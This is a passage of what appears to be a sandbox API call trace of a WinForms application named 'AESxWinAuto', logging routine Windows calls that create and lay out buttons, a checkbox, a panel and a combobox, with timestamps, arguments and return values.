CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.925] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.925] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.925] SendMessageW (hWnd=0x1024c, Msg=0x2055, wParam=0x1024c, lParam=0x3) returned 0x2 [0064.926] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.926] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.926] GetWindow (hWnd=0x1024c, uCmd=0x3) returned 0x1024a [0064.926] GetClientRect (in: hWnd=0x1024c, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.926] GetWindowRect (in: hWnd=0x1024c, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.926] GetParent (hWnd=0x1024c) returned 0x401f0 [0064.926] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.926] SetWindowTextW (hWnd=0x1024c, lpString="button12") returned 1 [0064.926] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0xc, wParam=0x0, lParam=0x25d2e50) returned 0x1 [0064.926] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x5, wParam=0x0, lParam=0x130038) returned 0x0 [0064.926] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x3, wParam=0x0, lParam=0x5a0062) returned 0x0 [0064.926] GetClientRect (in: hWnd=0x1024c, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.926] GetWindowRect (in: hWnd=0x1024c, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.926] GetParent (hWnd=0x1024c) returned 0x401f0 [0064.926] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.926] SendMessageW (hWnd=0x1024c, Msg=0x2210, wParam=0x24c0001, lParam=0x1024c) returned 0x0 [0064.926] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x2210, wParam=0x24c0001, lParam=0x1024c) returned 0x0 [0064.926] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.926] GetParent (hWnd=0x1024c) returned 0x401f0 [0064.926] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.926] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.926] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.926] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="checkBox1", dwStyle=0x5601000b, X=358, Y=80, nWidth=80, nHeight=17, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x1024e [0064.926] SetWindowLongW (hWnd=0x1024e, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.927] GetWindowLongW (hWnd=0x1024e, nIndex=-4) returned 1954854037 [0064.927] SetWindowLongW (hWnd=0x1024e, nIndex=-4, dwNewLong=7386266) returned 1954854037 [0064.927] GetWindowLongW (hWnd=0x1024e, nIndex=-4) returned 7386266 [0064.927] GetWindowLongW (hWnd=0x1024e, nIndex=-16) returned 1174470667 [0064.927] GetWindowLongW (hWnd=0x1024e, nIndex=-12) returned 0 [0064.927] SetWindowLongW (hWnd=0x1024e, nIndex=-12, dwNewLong=66126) returned 0 [0064.927] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.927] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.927] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.927] SendMessageW (hWnd=0x1024e, Msg=0x2055, wParam=0x1024e, lParam=0x3) returned 0x2 [0064.927] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.927] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.927] GetWindow (hWnd=0x1024e, uCmd=0x3) returned 0x1024c [0064.927] GetClientRect (in: hWnd=0x1024e, lpRect=0x3ae390 | out: lpRect=0x3ae390) returned 1 [0064.927] GetWindowRect (in: hWnd=0x1024e, lpRect=0x3ae390 | out: lpRect=0x3ae390) returned 1 [0064.927] GetParent (hWnd=0x1024e) returned 0x401f0 [0064.927] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae390, cPoints=0x2 | out: lpPoints=0x3ae390) returned -20382145 [0064.927] SetWindowTextW (hWnd=0x1024e, lpString="checkBox1") returned 1 [0064.927] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0xc, wParam=0x0, lParam=0x25d2998) returned 0x1 [0064.927] SendMessageW (hWnd=0x1024e, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0064.927] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0064.928] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x5, wParam=0x0, lParam=0x110050) returned 0x0 [0064.928] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x3, wParam=0x0, lParam=0x500166) returned 0x0 [0064.928] GetClientRect (in: hWnd=0x1024e, lpRect=0x3ae3e8 | out: lpRect=0x3ae3e8) returned 1 [0064.928] GetWindowRect (in: hWnd=0x1024e, lpRect=0x3ae3e8 | out: lpRect=0x3ae3e8) returned 1 [0064.928] GetParent (hWnd=0x1024e) returned 0x401f0 [0064.928] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3e8, cPoints=0x2 | out: lpPoints=0x3ae3e8) returned -20382145 [0064.928] SendMessageW (hWnd=0x1024e, Msg=0x2210, wParam=0x24e0001, lParam=0x1024e) returned 0x0 [0064.928] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x2210, wParam=0x24e0001, lParam=0x1024e) returned 0x0 [0064.928] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.928] GetParent (hWnd=0x1024e) returned 0x401f0 [0064.928] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.928] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.928] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.928] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.2bf8098_r13_ad1", lpWindowName=0x0, dwStyle=0x56010000, X=89, Y=43, nWidth=188, nHeight=203, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10250 [0064.928] SetWindowLongW (hWnd=0x10250, nIndex=-4, dwNewLong=2005738973) returned 7342122 [0064.928] GetWindowLongW (hWnd=0x10250, nIndex=-4) returned 2005738973 [0064.928] SetWindowLongW (hWnd=0x10250, nIndex=-4, dwNewLong=7386314) returned 2005738973 [0064.928] GetWindowLongW (hWnd=0x10250, nIndex=-4) returned 7386314 [0064.928] GetWindowLongW (hWnd=0x10250, nIndex=-16) returned 1174470656 [0064.928] GetWindowLongW (hWnd=0x10250, nIndex=-12) returned 0 [0064.928] SetWindowLongW (hWnd=0x10250, nIndex=-12, dwNewLong=66128) returned 0 [0064.935] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.935] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.935] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.935] GetWindow (hWnd=0x10250, uCmd=0x3) returned 0x1024e [0064.935] GetClientRect (in: hWnd=0x10250, lpRect=0x3ae38c | out: lpRect=0x3ae38c) returned 1 [0064.935] GetWindowRect (in: hWnd=0x10250, lpRect=0x3ae38c | out: lpRect=0x3ae38c) returned 1 [0064.935] GetParent (hWnd=0x10250) returned 0x401f0 [0064.935] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae38c, cPoints=0x2 | out: lpPoints=0x3ae38c) returned -20382145 [0064.935] SendMessageW (hWnd=0x10250, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x0 [0064.935] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x0 [0064.935] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x5, wParam=0x0, lParam=0xcb00bc) returned 0x0 [0064.936] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x3, wParam=0x0, lParam=0x2b0059) returned 0x0 [0064.936] GetClientRect (in: hWnd=0x10250, lpRect=0x3ae3e4 | out: lpRect=0x3ae3e4) returned 1 [0064.936] GetWindowRect (in: hWnd=0x10250, lpRect=0x3ae3e4 | out: lpRect=0x3ae3e4) returned 1 [0064.936] GetParent (hWnd=0x10250) returned 0x401f0 [0064.936] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3e4, cPoints=0x2 | out: lpPoints=0x3ae3e4) returned -20382145 [0064.936] SendMessageW (hWnd=0x10250, Msg=0x2210, wParam=0x2500001, lParam=0x10250) returned 0x0 [0064.936] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x2210, wParam=0x2500001, lParam=0x10250) returned 0x0 [0064.936] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.936] GetParent (hWnd=0x10250) returned 0x401f0 [0064.936] GetCurrentActCtx (in: lphActCtx=0x3aeb9c | out: lphActCtx=0x3aeb9c*=0x1d16a4) returned 1 [0064.936] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.936] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.936] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1", lpWindowName=0x0, dwStyle=0x56210242, X=70, Y=55, nWidth=92, nHeight=21, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10252 [0064.936] SetWindowLongW (hWnd=0x10252, nIndex=-4, dwNewLong=1955293152) returned 7342602 [0064.936] GetWindowLongW (hWnd=0x10252, nIndex=-4) returned 1955293152 [0064.936] SetWindowLongW (hWnd=0x10252, nIndex=-4, dwNewLong=7386362) returned 1955293152 [0064.936] GetWindowLongW (hWnd=0x10252, nIndex=-4) returned 7386362 [0064.936] GetWindowLongW (hWnd=0x10252, nIndex=-16) returned 1176568386 [0064.936] GetWindowLongW (hWnd=0x10252, nIndex=-12) returned 0 [0064.936] SetWindowLongW (hWnd=0x10252, nIndex=-12, dwNewLong=66130) returned 0 [0064.936] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x81, wParam=0x0, lParam=0x3ae634) returned 0x1 [0064.937] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ae058) returned 0x0 [0064.937] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ae058) returned 0xffffffff [0064.937] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ae058) returned 0x0 [0064.937] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ae058) returned 0xffffffff [0064.937] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x7c, wParam=0xffffffec, lParam=0x3ae058) returned 0x0 [0064.937] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x7d, wParam=0xffffffec, lParam=0x3ae058) returned 0xffffffff [0064.939] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x83, wParam=0x0, lParam=0x3ae620) returned 0x0 [0064.939] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x1, wParam=0x0, lParam=0x3ae634) returned 0x10252 [0064.941] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x210, wParam=0x3e80001, lParam=0x10254) returned 0x1 [0064.941] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x210, wParam=0x3e80001, lParam=0x10254) returned 0x0 [0064.941] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x55, wParam=0x10256, lParam=0x3) returned 0x2 [0064.941] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.941] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x210, wParam=0x3e90001, lParam=0x10256) returned 0x1 [0064.941] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x210, wParam=0x3e90001, lParam=0x10256) returned 0x0 [0064.943] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x46, wParam=0x0, lParam=0x3ae01c) returned 0x1 [0064.943] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x83, wParam=0x1, lParam=0x3adff4) returned 0x0 [0064.945] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x47, wParam=0x0, lParam=0x3ae01c) returned 0x0 [0064.945] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x5, wParam=0x0, lParam=0x18005c) returned 0x0 [0064.945] GetClientRect (in: hWnd=0x10252, lpRect=0x3adc84 | out: lpRect=0x3adc84) returned 1 [0064.945] GetWindowRect (in: hWnd=0x10252, lpRect=0x3adc84 | out: lpRect=0x3adc84) returned 1 [0064.945] GetParent (hWnd=0x10252) returned 0x401f0 [0064.945] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3adc84, cPoints=0x2 | out: lpPoints=0x3adc84) returned -20382145 [0064.945] GetWindowTextLengthW (hWnd=0x10252) returned 0 [0064.945] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0064.945] GetSystemMetrics (nIndex=42) returned 0 [0064.945] GetWindowTextW (in: hWnd=0x10252, lpString=0x3adb08, nMaxCount=1 | out: lpString="") returned 0 [0064.945] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0xd, wParam=0x1, lParam=0x3adb08) returned 0x0 [0064.945] GetParent (hWnd=0x10252) returned 0x401f0 [0064.947] GetWindow (hWnd=0x10252, uCmd=0x3) returned 0x10250 [0064.947] GetClientRect (in: hWnd=0x10252, lpRect=0x3ae284 | out: lpRect=0x3ae284) returned 1 [0064.947] GetWindowRect (in: hWnd=0x10252, lpRect=0x3ae284 | out: lpRect=0x3ae284) returned 1 [0064.947] GetParent (hWnd=0x10252) returned 0x401f0 [0064.947] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae284, cPoints=0x2 | out: lpPoints=0x3ae284) returned -20382145 [0064.947] SendMessageW (hWnd=0x10252, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x1 [0064.947] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x1 [0064.949] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x46, wParam=0x0, lParam=0x3adc04) returned 0x1 [0064.950] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x83, wParam=0x1, lParam=0x3adbdc) returned 0x0 [0064.951] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x47, wParam=0x0, lParam=0x3adc04) returned 0x0 [0064.951] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x5, wParam=0x0, lParam=0x15005c) returned 0x0 [0064.951] GetClientRect (in: hWnd=0x10252, lpRect=0x3ad86c | out: lpRect=0x3ad86c) returned 1 [0064.951] GetWindowRect (in: hWnd=0x10252, lpRect=0x3ad86c | out: lpRect=0x3ad86c) returned 1 [0064.951] GetParent (hWnd=0x10252) returned 0x401f0 [0064.951] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ad86c, cPoints=0x2 | out: lpPoints=0x3ad86c) returned -20382145 [0064.951] GetWindowTextLengthW (hWnd=0x10252) returned 0 [0064.951] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0064.951] GetSystemMetrics (nIndex=42) returned 0 [0064.951] GetWindowTextW (in: hWnd=0x10252, lpString=0x3ad6f0, nMaxCount=1 | out: lpString="") returned 0 [0064.951] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0xd, wParam=0x1, lParam=0x3ad6f0) returned 0x0 [0064.951] GetParent (hWnd=0x10252) returned 0x401f0 [0064.953] GetWindow (hWnd=0x10252, uCmd=0x5) returned 0x10256 [0064.953] GetWindowLongW (hWnd=0x10256, nIndex=-4) returned 1954716112 [0064.953] SetWindowLongW (hWnd=0x10256, nIndex=-4, dwNewLong=7386410) returned 1954716112 [0064.953] GetWindowLongW (hWnd=0x10256, nIndex=-4) returned 7386410 [0064.953] GetWindowLongW (hWnd=0x10256, nIndex=-16) returned 1342178176 [0064.953] GetWindowLongW (hWnd=0x10256, nIndex=-12) returned 1001 [0064.953] SendMessageW (hWnd=0x10256, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0064.953] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10256, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0064.953] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x5, wParam=0x0, lParam=0x15005c) returned 0x0 [0064.953] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x3, wParam=0x0, lParam=0x370046) returned 0x0 [0064.953] GetClientRect (in: hWnd=0x10252, lpRect=0x3ae2dc | out: lpRect=0x3ae2dc) returned 1 [0064.953] GetWindowRect (in: hWnd=0x10252, lpRect=0x3ae2dc | out: lpRect=0x3ae2dc) returned 1 [0064.953] GetParent (hWnd=0x10252) returned 0x401f0 [0064.953] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae2dc, cPoints=0x2 | out: lpPoints=0x3ae2dc) returned -20382145 [0064.953] SendMessageW (hWnd=0x10252, Msg=0x2210, wParam=0x2520001, lParam=0x10252) returned 0x0 [0064.953] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x2210, wParam=0x2520001, lParam=0x10252) returned 0x0 [0064.954] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.954] GetParent (hWnd=0x10252) returned 0x401f0 [0064.954] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0064.954] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0064.954] GetSystemMetrics (nIndex=42) returned 0 [0064.954] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aeab8, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0064.954] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aeab8) returned 0xb [0064.954] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.954] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.954] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.954] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="button3", dwStyle=0x5601000b, X=134, Y=56, nWidth=56, nHeight=19, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10258 [0064.954] SetWindowLongW (hWnd=0x10258, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.954] GetWindowLongW (hWnd=0x10258, nIndex=-4) returned 1954854037 [0064.954] SetWindowLongW (hWnd=0x10258, nIndex=-4, dwNewLong=7386458) returned 1954854037 [0064.954] GetWindowLongW (hWnd=0x10258, nIndex=-4) returned 7386458 [0064.954] GetWindowLongW (hWnd=0x10258, nIndex=-16) returned 1174470667 [0064.954] GetWindowLongW (hWnd=0x10258, nIndex=-12) returned 0 [0064.954] SetWindowLongW (hWnd=0x10258, nIndex=-12, dwNewLong=66136) returned 0 [0064.954] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.955] SendMessageW (hWnd=0x10258, Msg=0x2055, wParam=0x10258, lParam=0x3) returned 0x2 [0064.955] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.955] GetWindow (hWnd=0x10258, uCmd=0x3) returned 0x10252 [0064.955] GetClientRect (in: hWnd=0x10258, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.955] GetWindowRect (in: hWnd=0x10258, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.955] GetParent (hWnd=0x10258) returned 0x401f0 [0064.955] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.955] SetWindowTextW (hWnd=0x10258, lpString="button3") returned 1 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0xc, wParam=0x0, lParam=0x25d2334) returned 0x1 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x5, wParam=0x0, lParam=0x130038) returned 0x0 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x3, wParam=0x0, lParam=0x380086) returned 0x0 [0064.955] GetClientRect (in: hWnd=0x10258, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.955] GetWindowRect (in: hWnd=0x10258, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.955] GetParent (hWnd=0x10258) returned 0x401f0 [0064.955] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.955] SendMessageW (hWnd=0x10258, Msg=0x2210, wParam=0x2580001, lParam=0x10258) returned 0x0 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x2210, wParam=0x2580001, lParam=0x10258) returned 0x0 [0064.955] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10258, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.956] GetParent (hWnd=0x10258) returned 0x401f0 [0064.956] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.956] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.956] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.956] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="button1", dwStyle=0x5601000b, X=160, Y=92, nWidth=56, nHeight=19, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x1025a [0064.956] SetWindowLongW (hWnd=0x1025a, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.956] GetWindowLongW (hWnd=0x1025a, nIndex=-4) returned 1954854037 [0064.956] SetWindowLongW (hWnd=0x1025a, nIndex=-4, dwNewLong=7386506) returned 1954854037 [0064.956] GetWindowLongW (hWnd=0x1025a, nIndex=-4) returned 7386506 [0064.956] GetWindowLongW (hWnd=0x1025a, nIndex=-16) returned 1174470667 [0064.956] GetWindowLongW (hWnd=0x1025a, nIndex=-12) returned 0 [0064.956] SetWindowLongW (hWnd=0x1025a, nIndex=-12, dwNewLong=66138) returned 0 [0064.956] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.956] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.956] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.957] SendMessageW (hWnd=0x1025a, Msg=0x2055, wParam=0x1025a, lParam=0x3) returned 0x2 [0064.957] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.957] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.957] GetWindow (hWnd=0x1025a, uCmd=0x3) returned 0x10258 [0064.957] GetClientRect (in: hWnd=0x1025a, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.957] GetWindowRect (in: hWnd=0x1025a, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.957] GetParent (hWnd=0x1025a) returned 0x401f0 [0064.957] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.957] SetWindowTextW (hWnd=0x1025a, lpString="button1") returned 1 [0064.957] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0xc, wParam=0x0, lParam=0x25d2274) returned 0x1 [0064.957] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x5, wParam=0x0, lParam=0x130038) returned 0x0 [0064.957] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x3, wParam=0x0, lParam=0x5c00a0) returned 0x0 [0064.957] GetClientRect (in: hWnd=0x1025a, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.957] GetWindowRect (in: hWnd=0x1025a, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.957] GetParent (hWnd=0x1025a) returned 0x401f0 [0064.957] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.957] SendMessageW (hWnd=0x1025a, Msg=0x2210, wParam=0x25a0001, lParam=0x1025a) returned 0x0 [0064.957] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x2210, wParam=0x25a0001, lParam=0x1025a) returned 0x0 [0064.957] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.957] GetParent (hWnd=0x1025a) returned 0x401f0 [0064.957] 